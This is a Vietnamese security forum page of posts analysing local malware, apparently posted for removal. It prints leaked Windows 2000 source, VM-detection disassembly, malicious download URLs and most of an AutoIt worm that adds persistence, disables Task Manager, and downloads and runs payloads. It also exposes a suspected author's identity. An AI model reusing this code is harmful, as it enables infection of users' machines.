banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: TQN  XML
Profile for TQN Messages posted by TQN [ number of posts not being displayed on this page: 3 ]
 
Ừ, mình nóng thiệt. Sorry. Mới uống mấy chai, đọc thấy là dị ứng liền. 8x, 9x thì bắt bẽ làm gì, ra đời, đi làm thằng coding thuê mới biết, khổ như con chó, lương không xứng đáng.
Lỡ nói rồi, tui xin post 1 file source .c của WinDbg của Windows 2000, chứ không bà con nói mình nói xạo. Ai đã từng RE và system/driver programming trên Windows chắc biết WinDbg.
Code:
/*++
Copyright (c) 1989 Microsoft Corporation
Module Name:
dbgkport.c
Abstract:
This module implements the dbg primitives to access a processes
DebugPort and ExceptionPort.
Author:
Mark Lucovsky (markl) 19-Jan-1990
Revision History:
--*/
#include "dbgkp.h"
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, DbgkpSendApiMessage)
#pragma alloc_text(PAGE, DbgkForwardException)
#endif
NTSTATUS
DbgkpSendApiMessage(
IN OUT PDBGKM_APIMSG ApiMsg,
IN PVOID Port,
IN BOOLEAN SuspendProcess
)
/*++
Routine Description:
This function sends the specified API message over the specified
port. It is the callers responsibility to format the API message
prior to calling this function.
If the SuspendProcess flag is supplied, then all threads in the
calling process are first suspended. Upon receipt of the reply
message, the threads are resumed.
Arguments:
ApiMsg - Supplies the API message to send.
Port - Supplies the address of a port to send the api message.
SuspendProcess - A flag that if set to true, causes all of the
threads in the process to be suspended prior to the call,
and resumed upon receipt of a reply.
Return Value:
TBD
--*/
{
NTSTATUS st;
ULONG_PTR MessageBuffer[PORT_MAXIMUM_MESSAGE_LENGTH/sizeof(ULONG_PTR)];
PAGED_CODE();
if ( SuspendProcess ) {
DbgkpSuspendProcess(FALSE);
}
ApiMsg->ReturnedStatus = STATUS_PENDING;
PsGetCurrentProcess()->CreateProcessReported = TRUE;
st = LpcRequestWaitReplyPort(
Port,
(PPORT_MESSAGE) ApiMsg,
(PPORT_MESSAGE) &MessageBuffer[0]
);
ZwFlushInstructionCache(NtCurrentProcess(), NULL, 0);
if ( NT_SUCCESS(st) ) {
RtlMoveMemory(ApiMsg,MessageBuffer,sizeof(*ApiMsg));
}
if ( SuspendProcess ) {
DbgkpResumeProcess(FALSE);
}
return st;
}
LARGE_INTEGER DbgkpCalibrationTime;
BOOLEAN
DbgkForwardException(
IN PEXCEPTION_RECORD ExceptionRecord,
IN BOOLEAN DebugException,
IN BOOLEAN SecondChance
)
/*++
Routine Description:
This function is called forward an exception to the calling process's
debug or subsystem exception port.
Arguments:
ExceptionRecord - Supplies a pointer to an exception record.
DebugException - Supplies a boolean variable that specifies whether
this exception is to be forwarded to the process's
DebugPort(TRUE), or to its ExceptionPort(FALSE).
Return Value:
TRUE - The process has a DebugPort or an ExceptionPort, and the reply
received from the port indicated that the exception was handled.
FALSE - The process either does not have a DebugPort or
ExceptionPort, or the process has a port, but the reply received
from the port indicated that the exception was not handled.
--*/
{
PEPROCESS Process;
PVOID Port;
DBGKM_APIMSG m;
PDBGKM_EXCEPTION args;
NTSTATUS st;
PAGED_CODE();
args = &m.u.Exception;
//
// Initialize the debug LPC message with default infomaation.
//
DBGKM_FORMAT_API_MSG(m,DbgKmExceptionApi,sizeof(*args));
//
// Get the address of the destination LPC port.
//
Process = PsGetCurrentProcess();
if (DebugException) {
Port = PsGetCurrentThread()->HideFromDebugger ? NULL : Process->DebugPort;
} else {
Port = Process->ExceptionPort;
m.h.u2.ZeroInit = LPC_EXCEPTION;
}
//
// If the destination LPC port address is NULL, then return FALSE.
//
if (Port == NULL) {
return FALSE;
}
//
// Fill in the remainder of the debug LPC message.
//
args->ExceptionRecord = *ExceptionRecord;
args->FirstChance = !SecondChance;
//
// Send the debug message to the destination LPC port.
//
st = DbgkpSendApiMessage(&m,Port,DebugException);
//
// If the send was not successful, then return a FALSE indicating that
// the port did not handle the exception. Otherwise, if the debug port
// is specified, then look at the return status in the message.
//
if (!NT_SUCCESS(st) ||
((DebugException) &&
(m.ReturnedStatus == DBG_EXCEPTION_NOT_HANDLED || !NT_SUCCESS(m.ReturnedStatus)))) {
return FALSE;
} else {
return TRUE;
}
}

Rất nhiều coder của MS là từ nền Unix chuyễn sang, nên đọc code của họ, các bạn sẽ thấy K&R style, goto tá lã, comment nhiều cái rất buồn cười. Nhưng phải công nhận là code siêu, phải nói là rất giỏi. Tui ít thấy coder VN ta có khả năng code được như vậy, trong sáng, rõ ràng, comment đầy đủ, style thống nhất (trong 1 team cả mấy trăm người).
Đọc code của Win2000 sẽ thấy được rất nhiều undocument API function, struct rất hay.
Dạ, em biết chứ ạ, ASM em code gần 15 năm, C/C++ cũng gần 10 năm, tốt nghiệp ĐH 1997, vậy theo bác em đọc source code của Win 2000 được không vậy ạ. Số dòng code em viết trên triệu dòng, tham gia mấy trăm project outsource cho JP, US...
Rảnh rỗi thì em RE các bug của Windows, tìm thêm bug mới, crack, analyze virus, chalengge.
MS đã từng gởi mail mời em tham gia Windows Defender team.
Bạn minhquan1712 đừng nghĩ là ai cũng thấp hơn mình, thế giới lắm người tài, nhóc à. Người này cao có người # cao hơn. Hảy khiêm tốn 1 chút.
TQN
Con này nguy hiểm lắm đấy, vẫn run được trong Safe Mode, quét và kill 1 list dài các antivirus, antispyware (nhưng mà FireLion của Hoàng không có trong đó), tạo 1 đống service.
Code = Delphi, protect = morphine, rồi packed = FSG.
Mở thêm box Reverse Engineering ở HVA là ý hay đấy Zoom, tránh đề cập về crack, chỉ bàn về RCE thôi. Kỹ năng RCE là 1 kỹ năng rất quan trong cho các security researcher.
Lại thêm một con perfect keylogger thôi, bind made in VN. BitDefender tóm.
Tui đang thử tìm cách tìm ra tác giả trong 1 đống 5 file .exe, 6 file .dll và 1 đống file .dat, .bin (data file) sau khi tui debug và extract ra.
Trước khi logon thì làm gì có màn hình logon. Thảo luận tới đây mà các cậu vẫn quên mất điều kiện ban đầu là "trước khi logon", nghĩa là trước khi winlogon.exe được gọi. Lạc hướng rồi.
System ->...-> smss.exe -> winlogon.exe -> services.exe (call các service).
Chạy trước Windows login mà hiện ra được cái cửa sổ trong trắng là quá tài đấy, tôi chưa từng thấy (vì lúc này GUI subsystem của Windows chưa được load). Tối đa là cậu sẽ hiện được 1 dạng console text như chkdsk.exe.
Biết đọc code ASM không, đọc nó rồi port qua C thì hiểu.
Còn serial format thì tùy thuộc vào coder, nó muốn format ra dạng gì cũng được. Dạng format này không phải là common format.
Bổ sung 1 ít:

#pragma comment(linker,"/ENTRY:EntryPoint")
 

#pragma comment chỉ support trong VC++, không support trong Borland C++ (Builderxxx).
Vì vậy code trên chỉ compile được trong VC++.

BaseProcessStartup(PVOID Peb) trong kernel32 sẽ gọi startup code của C RTL, và không bao giờ return vì đã ExitProcess.

wincmdln.c chỉ parse cmd line thông qua GetCommandLineA/W để pass tới WinMain (nếu là GUI app).
Xây 1 cái nhà, trang bị hệ thống cửa nẻo, bảo vệ có chắc đến mấy thì 1 thằng ăn trộm có thể không vào được, nhưng cả ngàn thằng lúc nào cũng chăm chăm đột nhập, quậy phá, tìm cách vào thì không sớm thì muộn cũng bị break thôi => Vista cũng vậy.
Dùng C# để format ổ cứng, mới gặp lần đầu, chi vậy, phá người khác à. Đừng nói là muốn viết 1 trình format nhé (nhiều quá rồi...)
Cuối cùng cũng unpack được file .exe và file .sys, phù, hên quá. Thằng virus writer này thuộc loại cao thủ, không để lại dấu vết gì hết, và code hệ thống rất siêu.
Nó có đoạn code detect virtual machine rất hay, dựa trên 1 article trên CodeProject. Nếu analyze nó trong VM, nó shutdown liền. Mạn phép post lên cho bà con xem:
Code:
.text:004012EF 2540 push esi
.text:004012F0 2544 push edi
.text:004012F1 2548 call InWMWare
.text:004012F1
.text:004012F6 2548 xor esi, esi
.text:004012F8 2548 test al, al
.text:004012FA 2548 jnz short DoShutdown
.text:004012FA
.text:004012FC 2548 call InVirtualPC
.text:004012FC
.text:00401301 2548 test al, al
.text:00401303 2548 jz short StartInstall
.text:00401303
.text:00401305
.text:00401305 DoShutdown: ; CODE XREF: start+49j
.text:00401305 2548 call GetShutdownPrivilege
.text:00401305
.text:0040130A 2548 test al, al
.text:0040130C 2548 jz short StartInstall
.text:0040130C
.text:0040130E 2548 push esi ; dwReserved
.text:0040130F 254C push 18 ; EWX_REBOOT or EWX_FORCEIFHUNG
.text:00401311 2550 call ds:ExitWindowsEx ; Logoff/Restart/Shut down
..................
.text:0040112F InWMWare proc near ; CODE XREF: start+40p
.text:0040112F
.text:0040112F retVal = byte ptr -19h
.text:0040112F ms_exc = CPPEH_RECORD ptr -18h
.text:0040112F
.text:0040112F 000 push 0Ch
.text:00401131 004 push offset byte_4021B8
.text:00401136 008 call __SEH_prolog
.text:00401136
.text:0040113B 020 mov [ebp+retVal], 1
.text:0040113F 020 and [ebp+ms_exc.disabled], 0
.text:00401143 020 push edx
.text:00401144 024 push ecx
.text:00401145 028 push ebx
.text:00401146 02C mov eax, 'VMXh'
.text:0040114B 02C mov ebx, 0
.text:00401150 02C mov ecx, 0Ah
.text:00401155 02C mov edx, 'VX'
.text:0040115A 02C in eax, dx
.text:0040115B 02C cmp ebx, 'VMXh'
.text:00401161 02C setz [ebp+retVal]
.text:00401165 02C pop ebx
.text:00401166 028 pop ecx
.text:00401167 024 pop edx
.text:00401168 020 jmp short Return
.text:00401168
.text:0040116A ; ---------------------------------------------------------------------------
.text:0040116A
.text:0040116A Return_True: ; DATA XREF: .rdata:004021BCo
.text:0040116A 020 xor eax, eax
.text:0040116C 020 inc eax
.text:0040116D 020 retn
.text:0040116D
.text:0040116E ; ---------------------------------------------------------------------------
.text:0040116E
.text:0040116E Return_False: ; DATA XREF: .rdata:004021C0o
.text:0040116E 020 mov esp, [ebp+ms_exc.old_esp]
.text:00401171 020 mov [ebp+retVal], 0
.text:00401171
.text:00401175
.text:00401175 Return: ; CODE XREF: InWMWare+39j
.text:00401175 020 or [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:00401179 020 mov al, [ebp+retVal]
.text:0040117C 020 call __SEH_epilog
.text:0040117C
.text:00401181 000 retn
.text:00401181
.text:00401181 InWMWare endp
Chi cho cực vậy tmd, tui đã unobfucated source của con nay ra 1 phần rồi, còn lại thì lười vì phải làm thủ công. Source cũa nó cũng gần tương tự như cái trước. Dưới đây là phần khai báo biến của nó. Vì đã obfuscated nên khi unobfuscated ra thì source không còn nguyên bản nữa, tên biến và hàm ta phải tự đặt lại, nhưng cấu trúc ct và tính năng vẫn không đổi.
Code:
; <AUT2EXE VERSION: 3.2.0.1>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: D:\virus\nhatquanglan_Obfuscated.au3>
; ----------------------------------------------------------------------------
#NoTrayIcon
global Const $var1="SCVHSOT",
$var2="blastclnnn",
$var3="hinhem.scr",
$var4="setting",
$var5=".ini",
$var6=".doc",
$var7=".xls,
$var8=".exe",
$var9="@HOUR",
$var10="2",
$var11="@MIN",
$var12="15",
$var13="@AutoItExe",
$var14="@SystemDir",
$var15="\",
$var16="0",
$var17="@SystemDir",
$var18="\",
$var19="+RSH",
$var20="@AutoItExe",
$SA5150C050C041="@WindowsDir",
$SA4950D050D054="\"),
$SA1650E050E006="0",
$SA0B50F050F00B="@AutoItExe",
$SA5C600060004F="@WindowDir",
$SA296010601036="\",
$SA49602060203B="0",
$SA52603060303F="@WindowsDir",
$SA2D6040604023="\",
$SA626050605028="-RSH",
$SA566060606028="@AutoItExe",
$SA63607060703A="@SystemDir",
$SA566080608044="\",
$SA37609060904E="0",
$SA4060A060A004="@SystemDir",
$SA0C60B060B010="\",
$SA0460C060C043="+RSH"),
$SA5060D060D063="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",
$SA4E60E060E038="Shell",
$SA6260F060F052="REG_SZ",
$SA2D7000700015="Explorer.exe",
$SA547010701034="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
global Const $var2_1="Yahoo Messengger",
$SA167030703036=("REG_SZ"),
$SA487040704032=("@SystemDir"),
$SA45705070500C=("\"),
$SA397060706043=("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"),
$SA4E707070703E="NofolderOptions",
$SA1F7080708062=("REG_DWORD"),
$SA5C7090709061=("1"),
$SA5C70A070A02C=("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"),
$SA0A70B070B011=("DisableTaskMgr"),
$SA4A70C070C003=("REG_DWORD"),
$SA2C70D070D041="1",
$SA2F70E070E025=("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"),
$SA4070F070F00B=("DisableRegistryTools"),
$SA41800080003C=("REG_DWORD"),
$SA4F8010801014="1",
$SA508020802028=("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule"),
$SA02803080301B=("AtTaskMaxHours"),
$SA44804080404D=("REG_DWORD"),
$SA60805080503B="0",
$SA3A806080604C=("AT /delete /yes"),
$SA448070807035=("AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su "),
$SA598080808058=("@SystemDir"),
$SA2E8090809015="\",
$SA3780B080B02F=("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares")
global Const $var3_1=("shared"),
$SA3680D080D01B="0",
$SA2780E080E061=("game_y.exe"),
$SA5280F080F02E=("game_y.exe"),
$SA2D9000900005=("1000"),
$SA0E9010901030=("game_y.exe"),
$SA239020902029=("game_y.exe"),
$SA619030903058=("1000"),
$SA35904090403A=("game_y.exe"),
$SA3B9050905029=("game_y.exe"),
$SA57906090603B=("1000"),
$SA199070907058=("game_y.exe"),
$SA609080908059=("game_y.exe"),
$SA599090909054=("1000"),
$SA4690A090A040="1",
$SA5090B090B05E="1",
$SA0290C090C055="1",
$SA4D90D090D037=("@HOUR"),
$SA4E90E090E025=("game_y.exe"),
$SA4E90F090F014=("game_y.exe"),
$SA10A000A0000A=("1000"),
$SA41A010A0100A=("game_y.exe"),
$SA20A020A02018=("game_y.exe"),
$SA06A030A03038=("1000"),
$SA2AA040A04063=("game_y.exe"),
$SA3DA050A05005=("game_y.exe"),
$SA62A060A06008=("1000"),
$SA51A070A0704A=("game_y.exe"),
$SA2AA080A0800A=("game_y.exe"),
$SA0EA090A0900A=("1000"),
$SA26A0A0A0A048=("@MIN"),
$SA09A0B0A0B015="1"

Nội search và replace cái đống này cũng ngán rồi. Trình obfuscated của AutoIt này chỉ lấy chuỗi string trong source gốc đổi sang chuỗi hex, vd: "AB" => "4142". Ta chỉ cần 1 tool để đỗi ngược lại từ hex string -> string nguyên bản là xong.
Không biết post vầy có chỉ đường cho hưu (nhatquanglan) chạy không ????
Tới giờ này thì con scvhsot.doc và .xls của nó vẫn chưa đỗi. Chắc tạm dừng để thăm dò hay hí hững nghĩ là đã obfuscated thì an toàn rồi.
Khiếp, tmd post con patch.exe này dữ quá, một rookit đúng nghĩa. Nó tạo một service ẫn, windevxxxx, hook 1 loạt api của Windows, view không thấy file, list cỡ nào cũng không thấy service, IceSword và Rookit Unhooker trên máy tui cũng tìm không ra, may mà còn GMER phát hiện được. Đã lấy được file .sys của nó, nhưng không cách nào unpack 2 file .exe và .sys được (file .sys cũng pack luôn). Nó pack = cái gì đó quái dị lắm, dùng đủ tool để detect không ra, manual unpack thì vào matrix luôn. Bó tay.
Phải nói thật là ngán đụng tới mấy cái rootkit, packer dùng kernel driver.
Chỉ vừa qua 1 đêm, thằng này lại update virus của nó lại liền. Chắc nó cũng là 1 thành viên của HVA. Thấy bị phát hiện, nó modify source ngay lập tức, lần này dùng obfuscated cho AutoIt.
File setting.ini của nó đây:
Code:
[setting]
downloaded=success
website=http://luutrudulieu.t35.com
filedownload1=nhatquanglan18
size01=220
filedownload2=SCVHSOT
size02=160
filedownload3=test1
size03=10
filedownload4=
size04=
filedownload5=
size05=
myweb=http://gaigoitanbinh.xlphp.net/
tin[0]=Rao bán ng?c d? làm t? thi?n  http://gaigoitanbinh.xlphp.net/
tin[1]=“C?n chó”… t?i ch?t  http://gaigoitanbinh.xlphp.net/
tin[2]=Cu?i ch?ng du?i âm ph?  http://gaigoitanbinh.xlphp.net/
tin[3]=Bê hai d?u  http://gaigoitanbinh.xlphp.net/
tin[4]=Bê hai d?u  http://gaigoitanbinh.xlphp.net/
tin[5]=Ma cà r?ng nhí  http://gaigoitanbinh.xlphp.net/
tin[6]=Trình di?n xi?c "r?n tóc gáy"  http://gaigoitanbinh.xlphp.net/
tin[7]=Ngu?i ch?t s?ng l?i  http://gaigoitanbinh.xlphp.net/
tin[8]=S?ng nh? máu ng?a và th?  http://gaigoitanbinh.xlphp.net/
tin[9]="U?ng" vàng  http://gaigoitanbinh.xlphp.net/

Tất cả các file download về đều bị Bit bắt được, trừ file SCVHSOT.exe (đổi .ext thành .doc và .xls). File này là AutoIt 3.2.0.1, obfuscated.
Tui đã lấy lại được source của nó, đã unobfuscated xong. Nhưng không public, để xem thằng này phản ứng ra sao.
2 nhatquanlan: obfuscated cũng = 0, passphare cũng = 0, vì cậu đang dùng lại những cái người ta viết sẵn, release public, release source. Có đóng thì cũng có đường mở. Chấm dứt cái trò này đi, cậu làm vậy với mục đích gì.
Cái nào cũng khả thi hết, Turbo C/Pascal/Basic for DOS cũng được tuốt. Cậu tiếp tục học tốt cái C++ của cậu đi, ngồi đó thắc mắc lung tung.
Giống như cậu xây 1 cái nhà, cậu tự xây cũng được, nhờ 1 ông thợ hồ với mấy ông thợ phụ cũng xong, hoặc giao quách cho 1 cty xây dưng cũng tốt. Cuối cùng thì cũng có 1 cái nhà, nhưng nhà ra sao thì hậu xét.
Khi chuyển qua .NET, nhiều C++ coder nhảy qua C#, còn tui thì cứ trung thành với C++. Trên .NET thì tui dùng C++/CLI. Tại sao phải bỏ ngôn ngữ yêu thích của mình chỉ vì theo trào lưu nhỉ. Thằng nào cuối cùng cũng ra MSIL, rồi Just In Time ra mã máy ASM cả.
Về tốc độ thì VC++ vẫn là vô địch, cả native và .NET code (không kể Intel C++ Compiler, vì thằng này cũng cần có VS IDE, về phương diện multithread, multi processor thì Intel số 1)
FireLion của Hoàng cũng bị để ý rồi ha !
Do người dùng thôi, chứ vừa download về, save process vừa xong là BitDefender trên máy tui tóm cổ hết rồi, lấy gì mà run được. Tui lại phải tắt Bit đi mới lấy source của nó được. Thậm chí file source .au3 là file text mà Bit còn bắt. Vậy mà sao nó lây lan được nhỉ.
Cái thằng tác giả này, sao cứ để nó phây phây được nhỉ, không ai trừng trị nó à.
Gugo với "nhatquanlan", ra 1 đống. Hình như thằng này là dân Đồng Tháp, có thời ở HCM, là member của rất nhiều forum.
Chắc là mặt mũi nó đây: http://www.vietfun.com/quangle/
Tui vừa nhảy lên web site của nó, download hết về xem thử. Trong đó có file SSVICHOSST.exe là AutoIt, còn lại là keylog.
Mạn phép post source của nó lên đây để bà con đọc và tìm cách diệt (đơn giản thôi). Tui đã xóa vài phần của source code, nên nói trước là các script kiddie không compile lại được đâu nha:
Code:
; <AUT2EXE VERSION: 3.2.2.0>
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Documents and Settings\phuong anh\Desktop\nhatquanglan.au3>
; ----------------------------------------------------------------------------
;Written by Nhatquanglan
;contact <a href="mailto:nhatquanglan@gmail.com">nhatquanglan@gmail.com</a> <= tác giả đây, chụp đầu nó
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Program Files\AutoIt3\Include\xxxxxxxx.au3>
; ----------------------------------------------------------------------------
; Include Version:1.59 (04/20/2006)
; ------------------------------------------------------------------------------
;
; AutoIt Version: 3.0
; Language: English
; Description: Functions that assist with process management.
;
; ------------------------------------------------------------------------------
;===============================================================================
;
; Description - Returns a string containing the process name that belongs to a given PID.
; Syntax - _ProcessGetName( $iPID )
; Parameters - $iPID - The PID of a currently running process
; Requirements - None.
; Return Values - Success - The name of the process
; Failure - Blank string and sets @error
; 1 - Process doesn't exist
; 2 - Error getting process list
; 3 - No processes found
; Author(s) - Erifash <erifash [at] gmail [dot] com>, Wouter van Kesteren.
; Notes - Supplementary to ProcessExists().
;===============================================================================
Func _ProcessGetName($i_PID)
; Tui xóa hết
EndFunc ;==>_ProcessGetName
;===============================================================================
;
; Function Name: _ProcessGetPriority()
; Description: Get the priority of an open process
; Parameter(s): $vProcess - PID or name of a process.
; Requirement(s): AutoIt Beta v3.1.1.61+
; kernel32.dll (included with Windows)
; Return Value(s): On Success - Returns integer corressponding to
; the processes's priority:
; 0 - Idle/Low
; 1 - Below Normal (Not supported on Windows 95/98/ME)
; 2 - Normal
; 3 - Above Normal (Not supported on Windows 95/98/ME)
; 4 - High
; 5 - Realtime
; On Failure: Returns -1 and sets @Error to 1
; Author(s): Matthew Tucker
; Valik added Pid or Processname logic
;===============================================================================
;
Func _ProcessGetPriority($vProcess)
; Xóa luôn
EndFunc ;==>_ProcessGetPriority
;===============================================================================
;
; Description: Executes a DOS command in a hidden command window.
; Syntax: _RunDOS( $sCommand )
; Parameter(s): $sCommand - Command to execute
; Requirement(s): None
; Return Value(s): On Success - Returns the exit code of the command
; On Failure - Depends on RunErrorsFatal setting
; Author(s): Jeremy Landes <jlandes at landeserve dot com>
; Note(s): None
;
;===============================================================================
Func _RunDOS($sCommand)
; Xóa luôn
EndFunc ;==>_RunDOS
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Program Files\AutoIt3\Include\xxxxxxxx.au3> ; đố biết include cái gì, tui xóa rồi.
; ----------------------------------------------------------------------------
#NoTrayIcon
$name = "SSVICHOSST"
$setting = "setting"
$ini = ".ini"
$nql = ".nql"
$xls = ".xls"
$exe = ".exe"
$toigioupdate = @HOUR + 2
$toigio = @MIN + 30
FileCopy (@AutoItExe, @SystemDir & "\" & $name & $exe,0)
FileSetAttrib (@SystemDir & "\" & $name & $exe,"+RSH")
FileCopy (@AutoItExe, @WindowsDir & "\" & $name & $exe,0)
FileSetAttrib (@WindowsDir & "\" & $name & $exe,"-RSH")
RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Shell","REG_SZ","Explorer.exe " & $name & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","Yahoo Messengger","REG_SZ",@SystemDir & "\" & $name & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NofolderOptions","REG_DWORD",1)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD",1)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD",1)
RegWrite ("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule","AtTaskMaxHours","REG_DWORD",0)
_RunDOS ("AT /delete /yes")
_RunDOS ("AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su " & @SystemDir & "\" &$name & $exe)
createini()
update()
sendmess()
$a = RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares","shared")
If $a ="" Then
copynetwork ()
EndIf
If $a <>"" Then
If FileExists ($a)=0 Then
copynetwork()
EndIf
EndIf
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
While (1)
killprocess()
copyusb()
If @HOUR = $toigioupdate Then
update()
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
If ProcessExists ("game_y.exe") Then
ProcessClose ("game_y.exe")
EndIf
Sleep (1000)
EndIf
If @MIN = $toigio Then
sendmess()
EndIf
WEnd
Func downloadurl()
$settingurl="http://nhatquanglan3.t35.com"
If InetGet ($settingurl & "/" & $setting & $nql, @SystemDir & "\" & $setting & $ini,1,0) = 0 Then
InetGet ($settingurl & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)
EndIf
Sleep (1000)
$downloaded="success"
$settingurl1 = "http://nhatquanglan4.t35.com"
If IniRead (@SystemDir & "\" & $setting & $ini,"setting","downloaded","") <> $downloaded Then
If InetGet ($settingurl1 & "/" & $setting & $nql, @SystemDir & "\" & $setting & $ini,1,0) = 0 Then
InetGet ($settingurl1 & "/" & $setting & $xls, @SystemDir & "\" & $setting & $ini,1,0)
EndIf
EndIf
FileSetAttrib (@SystemDir & "\" & $setting & $ini,"+RSH")
EndFunc
Func update()
downloadurl()
$website = IniRead (@SystemDir & "\" & $setting & $ini,"setting","website","")
$check01 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload1","")
$check02 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload2","")
$check03 = IniRead (@SystemDir & "\" & $setting & $ini,"setting","filedownload3","")
$size01 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size01",""))
$size02 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size02",""))
$size03 = Number (IniRead (@SystemDir & "\" & $setting & $ini,"setting","size03",""))
If $check01 <>"" Then
If Not FileExists (@SystemDir & "\" & $check01 & $exe) Then
If InetGet ($website & "/" & $check01 & $nql,@SystemDir & "\" & $check01 & $exe,1,0)=0 Then
InetGet ($website & "/" & $check01 & $xls,@SystemDir & "\" & $check01 & $exe,1,0)
EndIf
Sleep (3000)
If FileExists (@SystemDir & "\" & $check01 & $exe) Then
If Number (FileGetSize (@SystemDir & "\" & $check01 & $exe))/1024>=$size01 Then
FileSetAttrib (@SystemDir & "\" & $check01 & $exe,"+RSH")
Run (@SystemDir & "\" & $check01 & $exe)
EndIf
EndIf
EndIf
EndIf
If $check02 <>"" Then
If Not FileExists (@SystemDir & "\" & $check02 & $exe) Then
If InetGet ($website & "/" & $check02 & $nql,@SystemDir & "\" & $check02 & $exe,1,0)=0 Then
InetGet ($website & "/" & $check02 & $xls,@SystemDir & "\" & $check02 & $exe,1,0)
EndIf
Sleep (3000)
If FileExists (@SystemDir & "\" & $check02 & $exe) Then
If Number (FileGetSize (@SystemDir & "\" & $check02 & $exe))/1024>=$size02 Then
FileSetAttrib (@SystemDir & "\" & $check02 & $exe,"+RSH")
Run (@SystemDir & "\" & $check02 & $exe)
EndIf
EndIf
EndIf
EndIf
If $check03 <>"" Then
If Not FileExists (@SystemDir & "\" & $check03 & $exe) Then
If InetGet ($website & "/" & $check03 & $nql,@SystemDir & "\" & $check03 & $exe,1,0)=0 Then
InetGet ($website & "/" & $check03 & $xls,@SystemDir & "\" & $check03 & $exe,1,0)
EndIf
Sleep (3000)
If FileExists (@SystemDir & "\" & $check03 & $exe) Then
If Number (FileGetSize (@SystemDir & "\" & $check03 & $exe))/1024>=$size03 Then
FileSetAttrib (@SystemDir & "\" & $check03 & $exe,"+RSH")
Run (@SystemDir & "\" & $check03 & $exe)
EndIf
EndIf
EndIf
EndIf
$toigioupdate = @HOUR + 2
If $toigioupdate >12 Then
$toigioupdate = $toigioupdate -12
EndIf
EndFunc
Func sendmess()
$myweb = IniRead (@SystemDir & "\" & $setting & $ini,"setting","myweb","")
If $myweb = "" Then
$myweb = "http://nhatquanglan1.0catch.com"
EndIf
Dim $tin [10]
$tin[0] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[0]","")
If $tin[0] = "" Then
$tin[0] = "E may, vao day coi co con nho nay ngon lam " & $myweb & " "
EndIf
$tin[1] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[1]","")
If $tin[1] = "" Then
$tin[1] = "Vao day nghe bai nay di ban " & $myweb & " "
EndIf
$tin[2] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[2]","")
If $tin[2] = "" Then
$tin[2] = "Vao day nghe bai nay di ban " & $myweb & " "
EndIf
$tin[3] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[3]","")
If $tin[3] = "" Then
$tin[3] = "Biet tin gi chua, vao day coi di " & $myweb & " "
EndIf
$tin[4] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[4]","")
If $tin[4] = "" Then
$tin[4] = "Trang Web nay coi cung hay, vao coi thu di " & $myweb & " "
EndIf
$tin[5] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[5]","")
If $tin[5] = "" Then
$tin[5] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " &$myweb &" "
EndIf
$tin[6] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[6]","")
If $tin[6] = "" Then
$tin[6] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $myweb & " "
EndIf
$tin[7] = IniRead (@SystemDir & "\" & $setting & $ini,"setting","tin[7]","")
If $tin[7] = "" Then
